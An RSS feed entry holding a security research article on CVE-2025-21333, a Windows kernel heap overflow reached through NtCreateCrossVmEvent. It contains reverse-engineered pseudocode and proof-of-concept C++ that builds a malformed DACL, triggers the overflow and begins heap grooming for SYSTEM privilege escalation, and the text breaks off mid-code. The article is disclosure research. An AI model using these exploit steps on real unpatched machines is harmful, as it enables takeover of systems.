<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alessandro Iandoli on Medium]]></title>
        <description><![CDATA[Stories by Alessandro Iandoli on Medium]]></description>
        <link>https://medium.com/@ale18109800?source=rss-d47eb31d3683------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*mrSwlfVSKCywH5iQ</url>
            <title>Stories by Alessandro Iandoli on Medium</title>
            <link>https://medium.com/@ale18109800?source=rss-d47eb31d3683------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 12:54:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ale18109800/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2025–21333 Windows heap-based buffer overflow analysis]]></title>
            <link>https://infosecwriteups.com/cve-2025-21333-windows-heap-based-buffer-overflow-analysis-d1b597ae4bae?source=rss-d47eb31d3683------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1b597ae4bae</guid>
            <category><![CDATA[kernel-exploit]]></category>
            <category><![CDATA[windows-kernel]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hyper-v]]></category>
            <category><![CDATA[windows-sandbox]]></category>
            <dc:creator><![CDATA[Alessandro Iandoli]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 23:14:18 GMT</pubDate>
            <atom:updated>2025-03-22T15:43:27.363Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21333">CVE-2025–21333</a> is a <strong>vulnerability</strong> detected by Microsoft as <strong>actively exploited by threat actors</strong>. Microsoft <strong>patched</strong> the vulnerability on January 14th, 2025 with <a href="https://support.microsoft.com/help/5050021">KB5050021</a> (for Windows 11 23H2/22H2). The vulnerability is a heap-based buffer-overflow in vkrnlintvsp.sys driver.</p><p>The examination was carried out on a Windows 11 23H2 system with the following hashes for ntoskrnl.exe and vkrnlintvsp.sys.</p><pre>PS C:\Windows\System32\drivers&gt; get-filehash .\vkrnlintvsp.sys<br><br>Algorithm       Hash                                                                   Path<br>---------       ----                                                                   ----<br>SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...<br><br>PS C:\Windows\System32\drivers&gt;</pre><pre>PS C:\Windows\System32&gt; Get-FileHash ntoskrnl.exe<br><br>Algorithm       Hash                                                                   Path<br>---------       ----                                                                   ----<br>SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe<br><br>PS C:\Windows\System32&gt;</pre><p>The aim of this article is to analyze the vulnerability, develop a proof-of-concept (PoC) exploit, and provide guidance for detection.</p><p>The <strong>Vulnerability Analysis</strong> section examines the vulnerability in detail, explaining how to reach the vulnerable code path to trigger a crash. The <strong>Exploitation</strong> section describes the process of leveraging the vulnerability to achieve arbitrary read/write access in ring-0 and escalate privileges to <strong>SYSTEM</strong>. The <strong>Limitations and Improvements</strong> section discusses the exploit’s constraints and suggests enhancements for the PoC. Meanwhile, the <strong>Patch Analysis</strong> section provides a brief overview of Microsoft’s applied patch. Finally, the <strong>Detection</strong> section offers recommendations for identifying potential exploitation attempts.</p><p>The full PoC code is available in the <a href="https://github.com/MrAle98/CVE-2025-21333-POC">GitHub repository</a>.</p><p><strong><em>Note:</em></strong><em> All code snippets related to Windows components provided here are derived from reverse engineering and may not be entirely accurate.</em></p><h3>Requirements</h3><p>To exploit this vulnerability, <strong>Windows Sandbox</strong> must be enabled. Below is a screenshot showing all the necessary features activated on the vulnerable Windows machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*KfUbH3bTHVuQd29US_OzuA.png" /><figcaption>Windows features enabled</figcaption></figure><h3>Vulnerability analysis</h3><p>The vulnerability is located in the kernel-mode driver <em>vkrnlintvsp.sys</em> in the function <em>VkiRootAdjustSecurityDescriptorForVmwp().</em></p><h4><em>VkiRootAdjustSecurityDescriptorForVmwp</em></h4><p>Below the pseudocode of <em>VkiRootAdjustSecurityDescriptorForVmwp()</em>.</p><pre> 1:  _int64 __fastcall VkiRootAdjustSecurityDescriptorForVmwp(void *object, char accessmask_flag)<br> 2:  {<br> 3:  [...]<br> 4:    ret = ObGetObjectSecurity(object, &amp;SecurityDescriptor, &amp;MemoryAllocated);<br> 5:    if ( ret &gt;= 0 )<br> 6:    {<br> 7:      if ( !SecurityDescriptor )<br> 8:        goto LABEL_15;<br> 9:      ret = RtlGetDaclSecurityDescriptor(SecurityDescriptor, &amp;DaclPresent, &amp;Dacl, DaclDefaulted);<br>10:      if ( ret &lt; 0 )<br>11:        goto LABEL_16;<br>12:      if ( DaclPresent &amp;&amp; Dacl )<br>13:      {<br>14:        ret = SeConvertStringSidToSid(L&quot;S-1-5-83-0&quot;, &amp;Sid);<br>15:        if ( ret &gt;= 0 )<br>16:        {<br>17:          ret = SeConvertStringSidToSid(<br>18:                  L&quot;S-1-15-3-1024-2268835264-3721307629-241982045-173645152-1490879176-104643441-2915960892-1612460704&quot;,<br>19:                  &amp;sid_bigger);<br>20:          if ( ret &gt;= 0 )<br>21:          {<br>22:            v6 = RtlLengthSid(Sid);               // v6 = 0x10<br>23:            v7 = RtlLengthSid(sid_bigger);        // v7 = 0x30<br>24:            v8 = Dacl-&gt;AclSize + v7 + v6 + 0x10;<br>25:            // PagedPool<br>26:            Pool2 = (struct _ACL *)ExAllocatePool2((POOL_TYPE)0x100, v8, &#39;oRiV&#39;);<br>27:            v4 = Pool2;<br>28:            if ( Pool2 )<br>29:            {<br>30:              // overflow<br>31:              memmove(Pool2, Dacl, Dacl-&gt;AclSize);<br>32:              v4-&gt;AclSize = v8;<br>33:  [...]</pre><p>The allocation size in <em>ExAllocatePool2()</em> is determined by <strong><em>v8</em> </strong>(line 26), which is the sum of <strong><em>Dacl-&gt;AclSize</em>, <em>v7</em>, <em>v6</em></strong>, and <em>0x10</em>. The values <em>v6</em> and <em>v7</em> are not user-controllable, as they correspond to the return values of <em>RtlLengthSid()</em> on SIDs derived from static strings (lines 22–23).</p><p><em>Dacl-&gt;AclSize</em> is retrieved from the <a href="https://learn.microsoft.com/it-it/windows/win32/api/winnt/ns-winnt-security_descriptor"><em>Security Descriptor</em></a> of the object passed as the first parameter to the function. If this value is <strong>user-controllable</strong>, it could lead to an <strong>integer overflow in <em>v8</em></strong>, potentially causing a heap-based overflow in the memory region referenced by <em>Pool2</em>. This occurs due to the <em>memmove()</em> call, where both <em>Dacl</em> and <em>Dacl-&gt;AclSize</em> are user-controlled (line 31).</p><p>The vulnerable function is invoked by <em>VkiRootCalloutCreateEvent()</em> and <em>VkiRootCalloutCreateMutex()</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VTAq1tdgaIvIqBE-yJ1Suw.png" /><figcaption>1. Proximity browser of the vulnerable function</figcaption></figure><p><em>Credits goes to </em><a href="https://x.com/_4bhishek"><em>_4bhishek</em></a><em> for doing the patch diffing and initial analysis.</em></p><h4><em>VkiRootCalloutCreateEvent</em></h4><p>Below the pseudocode of <em>VkiRootCalloutCreateEvent().</em></p><pre> 1:  __int64 __fastcall VkiRootCalloutCreateEvent(<br> 2:          HANDLE *EventHandle,<br> 3:          ACCESS_MASK DesiredAccess,<br> 4:          POBJECT_ATTRIBUTES ObjectAttributes,<br> 5:          ULONG CrossVmEventFlags,<br> 6:          GUID *VMID,<br> 7:          GUID *ServiceID,<br> 8:          char PreviousMode)<br> 9:  {<br>10:  [...]<br>11:    memset(&amp;outObjectAttributes, 0, sizeof(outObjectAttributes));<br>12:    if ( CrossVmEventFlags )<br>13:    {<br>14:      ret = 0xC000000D;<br>15:      goto LABEL_27;<br>16:    }<br>17:    if ( !ServiceID || !VMID )<br>18:    {<br>19:      ret = 0xC000000D;<br>20:      goto LABEL_21;<br>21:    }<br>22:    if ( !objectType )<br>23:    {<br>24:      ret = 0xC0000001;<br>25:      goto LABEL_27;<br>26:    }<br>27:    ret = VkiProbeAndGenerateObjectAttributesForCreate(<br>28:            &amp;outObjectAttributes,<br>29:            ServiceID,<br>30:            &amp;a3,<br>31:            &amp;UnicodeString,<br>32:            1,<br>33:            ObjectAttributes,<br>34:            VMID,<br>35:            ServiceID,<br>36:            PreviousMode);<br>37:    if ( ret &lt; 0 )<br>38:      goto LABEL_21;<br>39:    v13 = (struct _EX_RUNDOWN_REF *)VkiVmContextFind(&amp;a3);<br>40:    v10 = v13;<br>41:    if ( !v13 )<br>42:    {<br>43:      ret = 0xC0000225;<br>44:      goto LABEL_21;<br>45:    }<br>46:    [...]<br>47:    ret = ObCreateObject(0, objectType, &amp;outObjectAttributes, PreviousMode, 0LL, 0x50u, 0, 0, &amp;Object);<br>48:    if ( ret &lt; 0 )<br>49:      goto LABEL_21;<br>50:  [...]<br>51:    v16 = Object;<br>52:    memset(Object, 0, 0x50uLL);<br>53:    [...]<br>54:    ret = ObInsertObject(Object, 0LL, DesiredAccess, 0, 0LL, &amp;Handle);<br>55:    if ( ret &lt; 0 || (ret = VkiRootAdjustSecurityDescriptorForVmwp(Object, 1), ret &lt; 0) )<br>56:    {<br>57:  LABEL_21:<br>58:      if ( Handle )<br>59:        ZwClose(Handle);<br>60:      if ( !v11 )<br>61:        goto LABEL_25;<br>62:      goto LABEL_24;<br>63:    }<br>64:    *EventHandle = Handle;<br>65:    Handle = 0LL;<br>66:    [...]<br>67:    return (unsigned int)ret;<br>68:  }</pre><p>The function takes multiple parameters as input, including <a href="https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes"><em>ObjectAttributes</em></a>, which contains a <a href="https://learn.microsoft.com/it-it/windows/win32/api/winnt/ns-winnt-security_descriptor"><em>SecurityDescriptor</em></a><em> </em>that, in turn, includes a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_acl"><em>Dacl</em></a>.</p><p>It first applies several checks to the input parameters before calling <em>VkiProbeAndGenerateObjectAttributesForCreate()</em>. As the name suggests, this function generates a new <em>_OBJECT_ATTRIBUTE</em> structure identical to the one initially provided and stores it in <em>outObjectAttributes</em>.</p><p>Next, the function calls <em>VkiVmContextFind()</em>, and if successful, it invokes <em>ObCreateObject()</em>, passing <em>outObjectAttributes</em> as input to create <em>Object</em>. Finally, it calls <em>VkiRootAdjustSecurityDescriptorForVmwp()</em> on the newly created <em>Object</em>.</p><h4>Kernel Extensions</h4><p><em>VkiRootCalloutCreateEvent()</em> is not accessible via IOCTLs. Below is the pseudocode for <em>DriverEntry()</em>, the driver’s entry point.</p><pre> 1:  NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)<br> 2:  {<br> 3:   [...]<br> 4:    if ( HviIsHypervisorMicrosoftCompatible() )<br> 5:    {<br> 6:      v4 = VkiRegisterKernelExtension(DriverObject);<br> 7:    [...]<br> 8:    }<br> 9:    [...]<br>10:  }</pre><p>It calls <em>VkiRegisterKernelExtension() </em>with the following pseudocode.</p><pre>__int64 __fastcall VkiRegisterKernelExtension(DRIVER_OBJECT *a1)<br>{<br>  _EX_EXTENSION_REGISTRATION_1 v2; // [rsp+20h] [rbp-28h] BYREF<br><br>  *(_DWORD *)&amp;v2.FunctionCount = 17;<br>  *(_DWORD *)&amp;v2.ExtensionId = 0x3000F;<br>  v2.DriverObject = a1;<br>  v2.HostTable = 0LL;<br>  v2.FunctionTable = &amp;VkiKernelCalloutTable;<br>  return ExRegisterExtension((_EX_EXTENSION_REGISTRATION_1 *)&amp;extension, 0x10000LL, &amp;v2);<br>}</pre><p>It calls <strong><em>ExRegisterExtension()</em></strong> passing as input ExtensionId = 0x3000F and a pointer to <em>VkiKernelCalloutTable</em>. <em>VkiKernelCalloutTable </em>points to an array of callbacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*7guSrvNl0QD0SNRAnNzI9Q.png" /><figcaption>2. Layout of VkiKernelCalloutTable</figcaption></figure><p>Among them stands out <em>VkiRootCalloutCreateEvent().</em></p><p><em>ExRegisterExtension</em> is an <strong>undocumented mechanism </strong>used by Microsoft to register drivers with the kernel. It is likely utilized when optional features, such as Windows Sandbox, are added to a Windows instance. This mechanism has already been reverse-engineered and thoroughly explained by Yarden Shafir in this <a href="https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a"><em>article</em></a>.</p><p>The core concept is that the kernel first calls <em>nt!ExRegisterHost</em> to allocate a data structure, which is then added to the <em>nt!ExpHostList</em> (a linked list). This data structure contains an <strong><em>ExtensionID</em></strong>, a 32-bit identifier for the extension.</p><p>When the driver loads, it calls <em>nt!ExRegisterExtension</em>, providing the same <strong><em>ExtensionID</em> </strong>and a <strong>pointer to an array of callbacks</strong> as input. <em>nt!ExRegisterExtension</em> then <strong>searches for the corresponding data structure</strong> by matching the <em>ExtensionID</em> and <strong>updates the structure with the provided pointer</strong>.</p><p>During system boot, the kernel registers the extension with <strong><em>ExtensionID = 0x3000F</em></strong> by calling <em>nt!ExRegisterHost</em> and passing the global variable <strong><em>VkiExtensionHost_vsp</em> </strong>(renamed after reverse engineering) as input. This operation is performed during <em>nt!ExpInitSystemPhase1</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*yeKINh3iicDn7qRDVmgPRg.png" /><figcaption>3. ntoskrnl.exe registering the extension with id 0x3000F</figcaption></figure><p>Among the xrefs to <strong><em>VkiExtxensionHost_vsp </em></strong>stands out <em>ExpCreateCrossVmEvent().</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*nqDsxz1KYEunn_fqx2Zp3Q.png" /><figcaption>4. xrefs to <em>VkiExtxensionHost_vsp</em></figcaption></figure><p><strong>ExpCreateCrossVmEvent</strong></p><p>Below the pseudocode of <em>ExpCreateCrossVmEvent().</em></p><pre> 1:  __int64 __fastcall ExpCreateCrossVmEvent(<br> 2:          HANDLE *pHandle,<br> 3:          ACCESS_MASK DesiredAccess,<br> 4:          POBJECT_ATTRIBUTES ObjectAttributes,<br> 5:          unsigned int CrossVmEventFlags,<br> 6:          LPCGUID VMID,<br> 7:          LPCGUID ServiceID,<br> 8:          char PreviousMode)<br> 9:  {<br>10:  [...]<br>11:    v8 = VkiExtxensionHost_vsp;<br>12:    if ( !ServiceID )<br>13:      v8 = ExpCrossVmIntExtensionHostGuest;<br>14:    ExtensionTable = ExGetExtensionTable(v8);<br>15:    if ( ExtensionTable )<br>16:    {<br>17:      v13 = (*(ExtensionTable + 8))(<br>18:              &amp;v15,<br>19:              DesiredAccess,<br>20:              ObjectAttributes,<br>21:              CrossVmEventFlags,<br>22:              VMID,<br>23:              ServiceID,<br>24:              PreviousMode);<br>25:      if ( v13 &gt;= 0 )<br>26:        *pHandle = v15;<br>27:      ExReleaseExtensionTable(v8);<br>28:    }<br>29:  [...]<br>30:  }</pre><p>The function dereferences <em>ExtensionTable</em> (which corresponds to <strong><em>vkrnlintvsp!VkiRootCalloutTable</em></strong>, the array of registered callbacks) from <em>VkiExtensionHost_vsp</em> and invokes the callback at <strong><em>ExtensionTable + 8</em></strong>. This offset corresponds to the second callback in the array, which is <strong><em>VkiRootCalloutCreateEvent</em> </strong>(previously highlighted in image №2).</p><p><em>ExpCreateCrossVmEvent()</em> is called by <strong><em>NtCreateCrossVmEvent()</em></strong>, which is a syscall in <em>ntdll.dll</em>. The function definition is available <a href="https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntmisc.h#L93">here</a>.</p><pre>NTSYSCALLAPI<br>NTSTATUS<br>NTAPI<br>NtCreateCrossVmEvent(<br>    _Out_ PHANDLE CrossVmEvent,<br>    _In_ ACCESS_MASK DesiredAccess,<br>    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,<br>    _In_ ULONG CrossVmEventFlags,<br>    _In_ LPCGUID VMID,<br>    _In_ LPCGUID ServiceID<br>    );</pre><h4>Triggering the vulnerability</h4><p>Based on the previous analysis, calling <em>NtCreateCrossVmEvent()</em> requires passing a pointer to an <a href="https://learn.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes">_OBJECT_ATTRIBUTES</a> structure, which contains a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_security_descriptor">_SECURITY_DESCRIPTOR</a> with a malformed <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_acl">_DACL</a> where the <em>DACL.AclSize</em> field is <strong>large enough to trigger a 16-bit integer overflow</strong>.</p><p>Additionally, the <strong><em>VMID</em> </strong>and <strong><em>ServiceID</em> </strong>parameters passed to <em>NtCreateCrossVmEvent()</em> must be valid GUIDs. When the user launches the sandbox, it actually starts <strong><em>WindowsSandbox.exe</em></strong>, which then spawns the child process <strong><em>WindowsSandboxClient.exe</em></strong>. Among the parameters passed to <em>WindowsSandboxClient.exe</em>, the <em>ContainerId</em> parameter contains a valid GUID.</p><p>The following screenshot from <em>Process Hacker</em> highlights the GUID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tYlf__oVCdRlXN2tD7uP8Q.png" /><figcaption>4. ContainerId GUID passed as parameter to WindowsSandboxClient.exe is a valid GUID</figcaption></figure><p>In the first part, the proof of concept initializes the security descriptor and retrieves the DACL associated with the current process by calling <em>GetSecurityInfo()</em>.</p><pre>    [...]<br>    InitializeSecurityDescriptor(&amp;sd, SECURITY_DESCRIPTOR_REVISION);<br>    GetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &amp;pdacl, NULL, reinterpret_cast&lt;PSECURITY_DESCRIPTOR*&gt;(&amp;psd));<br>    other_ace = reinterpret_cast&lt;ACCESS_ALLOWED_ACE*&gt;((char*)pdacl + sizeof(ACL));<br>    [...]</pre><p>The proof of concept sets a new DACL in the security descriptor, adjusting the <em>AclSize</em> to <em>0xfff0</em> and <em>AceCount</em> to 1. Then, it copies the first ACE from the current process’s DACL into the new DACL. Afterward, it sets the remaining bytes of the DACL to <em>0x41</em>.</p><pre>    [...]<br>    sd.Dacl = static_cast&lt;PACL&gt;(VirtualAlloc(NULL, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));<br>    memset(sd.Dacl, 0x0, 0x10000);<br>    sd.Dacl-&gt;AclSize = ROUND_UP(0xfff0, 4);<br>    sd.Dacl-&gt;AclRevision = ACL_REVISION;<br>    sd.Dacl-&gt;AceCount = 1;<br>    ace = (ACCESS_ALLOWED_ACE*)(sizeof(ACL) + (char*)(sd.Dacl));<br>    memcpy(ace, other_ace, other_ace-&gt;Header.AceSize);<br>    ace-&gt;Header.AceSize = sd.Dacl-&gt;AclSize - sizeof(ACL);<br>    unsigned char* ptr = (unsigned char*)(sd.Dacl) + 0x40;<br>    memset(ptr, 0x41, 0x2000);<br>    [...]</pre><p>Finally, it sets the created security descriptor in the <em>OBJECT_ATTRIBUTES</em> structure, which will be passed as a parameter.</p><pre>    [...]<br>    InitializeObjectAttributes(&amp;oa, NULL, 0, NULL, &amp;sd);<br>    sd.Control = 0x4;<br>    [...]</pre><p>In the second part, it obtains pointers to the necessary functions in <em>ntdll.dll</em>, creates the <em>WindowsSandbox.exe</em> process (if not already spawned), and attempts to get a handle to <em>WindowsSandboxClient.exe</em>.</p><pre>HANDLE GetWinSBXCliProcHandle() {<br>    HANDLE hProcess = NULL;<br>    PROCESSENTRY32 pe32;<br>    pe32.dwSize = sizeof(PROCESSENTRY32);<br>    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br>    if (hSnapshot == INVALID_HANDLE_VALUE) {<br>        return NULL;<br>    }<br>    if (!Process32First(hSnapshot, &amp;pe32)) {<br>        CloseHandle(hSnapshot);<br>        return NULL;<br>    }<br>    do {<br>        if (wcscmp(pe32.szExeFile, L&quot;WindowsSandboxClient.exe&quot;) == 0) {<br>            hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);<br>            break;<br>        }<br>    } while (Process32Next(hSnapshot, &amp;pe32));<br>    CloseHandle(hSnapshot);<br>    return hProcess;<br>}    <br><br>int main(){<br><br>    [...]<br>    NtCreateCrossVmEvent fNtCreateCrossVmEvent = (NtCreateCrossVmEvent)(GetProcAddress(GetModuleHandleA(&quot;ntdll&quot;), &quot;NtCreateCrossVmEvent&quot;));<br>    [...]<br>    NtQueryInformationProcess fNtQueryInformationProcess = (NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA(&quot;ntdll&quot;), &quot;NtQueryInformationProcess&quot;));<br>    [...]<br>    hWinsbxclientproc = GetWinSBXCliProcHandle();<br><br>    if (hWinsbxclientproc == NULL) {<br>        printf(&quot;[!] WindowsSandboxClient.exe process not found\n&quot;);<br>        std::cout &lt;&lt; &quot;[*] spawning windows sandbox&quot; &lt;&lt; std::endl;<br><br>        if (!CreateProcessA(&quot;C:\\Windows\\System32\\WindowsSandbox.exe&quot;, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &amp;si, &amp;pi)) {<br>            std::cout &lt;&lt; &quot;[-] CreateProcessA failed with error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>            return 1;<br>        }<br>        std::cout &lt;&lt; &quot;[*] CreateProcessA returned successfully&quot; &lt;&lt; std::endl;<br><br>        while (1) {<br>            Sleep(5000);<br>            hWinsbxclientproc = GetWinSBXCliProcHandle();<br>            if (hWinsbxclientproc != NULL &amp;&amp; hWinsbxclientproc != INVALID_HANDLE_VALUE) {<br>                break;<br>            }<br>        }<br>    }<br><br>    if (hWinsbxclientproc == NULL) {<br>        printf(&quot;[-] WindowsSandboxClient.exe process not found\n&quot;);<br>        return 1;<br>    }<br>    [...]</pre><p>Afterward, it retrieves the GUID by accessing the address of the PEB and calling <em>ReadProcessMemory()</em> multiple times.</p><pre>   [...] <br>   if (fNtQueryInformationProcess(hWinsbxclientproc, ProcessBasicInformation, &amp;pbi, sizeof(pbi), &amp;ReturnLength) &gt; 0) {<br>        std::cout &lt;&lt; &quot;[-] NtQueryInformationProcess failed with error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }<br>    std::cout &lt;&lt; &quot;[*] NtQueryInformationProcess returned successfully&quot; &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;[*] peb_addr = &quot; &lt;&lt; std::hex &lt;&lt; pbi.PebBaseAddress &lt;&lt; std::endl;<br>    if (!ReadProcessMemory(hWinsbxclientproc, pbi.PebBaseAddress, &amp;peb, sizeof(peb), NULL)) {<br>        std::cout &lt;&lt; &quot;[-] ReadProcessMemory failed with error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }<br>    std::cout &lt;&lt; &quot;[*] ReadProcessMemory returned successfully&quot; &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;[*] ProcessParameters = &quot; &lt;&lt; std::hex &lt;&lt; peb.ProcessParameters &lt;&lt; std::endl;<br>    if (!ReadProcessMemory(hWinsbxclientproc, peb.ProcessParameters, processParams, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) {<br>        std::cout &lt;&lt; &quot;[-] ReadProcessMemory failed with error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }<br>    std::cout &lt;&lt; &quot;[*] ReadProcessMemory returned successfully&quot; &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;[*] CommandLine = &quot; &lt;&lt; processParams-&gt;CommandLine.Buffer &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;[*] CommandLine_size = &quot; &lt;&lt; processParams-&gt;CommandLine.MaximumLength &lt;&lt; std::endl;<br><br>    wchar_t* commandline = new wchar_t[processParams-&gt;CommandLine.MaximumLength + 0x2];<br>    ZeroMemory(commandline, processParams-&gt;CommandLine.MaximumLength + 0x2);<br>    if (!ReadProcessMemory(hWinsbxclientproc, processParams-&gt;CommandLine.Buffer, commandline, processParams-&gt;CommandLine.MaximumLength, NULL)) {<br>        std::cout &lt;&lt; &quot;[-] ReadProcessMemory failed with error: &quot; &lt;&lt; GetLastError() &lt;&lt; std::endl;<br>        return 1;<br>    }<br>    std::wcout &lt;&lt; &quot;[*] commandline = &quot; &lt;&lt; commandline &lt;&lt; std::endl;<br><br>    std::wstring commandline_wstr(commandline);<br>    delete[] commandline;<br><br>    //extracting guid<br>    std::wstring w_guid(commandline_wstr.substr(58, 36));<br><br>    std::wcout &lt;&lt; &quot;[*] extracted guid = &quot; &lt;&lt; w_guid &lt;&lt; std::endl;<br><br>    // Calculating the length of the multibyte string<br>    size_t len = w_guid.length();<br>    char* s_guid = new char[len + 2];<br>    size_t returnedlength = 0;<br>    wcstombs_s(&amp;returnedlength, s_guid, static_cast&lt;size_t&gt;(len + 2), w_guid.c_str(), len);<br><br>    std::cout &lt;&lt; &quot;[*] s_guid = &quot; &lt;&lt; s_guid &lt;&lt; std::endl;<br>    HRESULT res = 0;<br><br>    wchar_t* ws = const_cast&lt;wchar_t*&gt;(w_guid.c_str());<br><br>    res = UuidFromStringW(reinterpret_cast&lt;RPC_WSTR&gt;(ws), &amp;guid2);<br><br>    if (res != S_OK) {<br>        std::cout &lt;&lt; &quot;[-] IIDFromString failed with error: &quot; &lt;&lt; res &lt;&lt; std::endl;<br>        return 1;<br>    }<br>    [...]</pre><p>Finally, It calls <em>NtCreateCrossVmEvent() </em>to trigger a BSOD.</p><pre>[...]    <br>fNtCreateCrossVmEvent(&amp;hEvent, EVENT_ALL_ACCESS, &amp;oa, 0, &amp;guid2, &amp;guid2);<br>[...]</pre><h3>Exploitation</h3><p>By setting a breakpoint at <em>vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158</em> (just before the <em>memmove()</em> that triggers the overflow), it is possible to observe that the vulnerable object (Tag <strong>ViRo</strong>) has a size of <em>0x50.</em></p><pre>0: kd&gt; bp vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158<br>0: kd&gt; g<br>Breakpoint 0 hit<br>vkrnlintvsp!VkiRootAdjustSecurityDescriptorForVmwp+0x158:<br>fffff803`138c9b24 e85783ffff      call    vkrnlintvsp!memcpy (fffff803`138c1e80)<br>1: kd&gt; !pool @rcx<br>unable to get nt!PspSessionIdBitmap<br>Pool page ffff838112abfc50 region is Paged pool<br>[...]<br> ffff838112abfbf0 size:   50 previous size:    0  (Allocated)  BFst<br>*ffff838112abfc40 size:   50 previous size:    0  (Allocated) *ViRo<br>		Owning component : Unknown (update pooltag.txt)<br> ffff838112abfc90 size:   50 previous size:    0  (Free)       BFst<br> ffff838112abfce0 size:   50 previous size:    0  (Free)       BFst<br> ffff838112abfd30 size:   50 previous size:    0  (Free)       BFst<br> ffff838112abfd80 size:   50 previous size:    0  (Allocated)  BFst<br>[...]</pre><p>Therefore, the allocation will be managed by the <strong>Low Fragmentation Heap</strong> (LFH) of the segment heap in the <strong>paged pool</strong>. A couple of excellent resources on how to exploit vulnerabilities in the segment heap are the following:</p><ul><li><a href="https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf">Scoop the Windows 10 Pool!</a></li><li><a href="https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/">CVE-2021–31956 Exploiting the Windows Kernel (NTFS with WNF)</a></li></ul><h4>Heap Manipulation</h4><p>First, it is necessary to manipulate the heap so that the vulnerable object is allocated alongside other controllable objects that also provide relative read/write primitives. One such object is <a href="https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_WNF_STATE_DATA"><strong><em>WNF_STATE_DATA</em></strong></a>, as described <a href="https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/">here</a> by Alex Plaskett.</p><p>The proof of concept begins by allocating <em>0x2000</em> <em>WNF_STATE_DATA</em> objects (<strong><em>statenames1</em></strong>), followed by the allocation of another <em>0x2000</em> <em>WNF_STATE_DATA</em> objects (<strong><em>statenames2</em></strong>). It then creates <strong>holes</strong> (every 50 objects) in <em>statenames2</em>, triggers the vulnerable function, and reallocates an additional <em>0x800</em> <em>WNF_STATE_DATA</em> objects (<strong><em>statenames3</em></strong>) to cover the holes that were introduced earlier.</p><pre>[...]<br>#define STATENAMES1_SIZE 0x2000<br>#define IORINGS_SIZE 0x500<br>#define SPRAY_PIPE_COUNT 0x500<br>#define STATENAMES2_SIZE 0x2000<br>#define STATENAMES3_SIZE 0x800<br>[...]<br>int main(){<br>[...]<br>unsigned char* ptr = (unsigned char*)(sd.Dacl) + 0x40;<br><br>ULONG DataSize = 0x50 * 0x334; //to read all the tampered objects + 1 not tampered object<br><br>//the overflow allows to overwrite the next (0xfff0-0x40)/0x50 = 0x332 objects<br><br>int i = 0;<br>while (1) {<br>    POOL_HEADER* ph = (POOL_HEADER*)(ptr + i * 0x50);<br>    if (ph &lt; 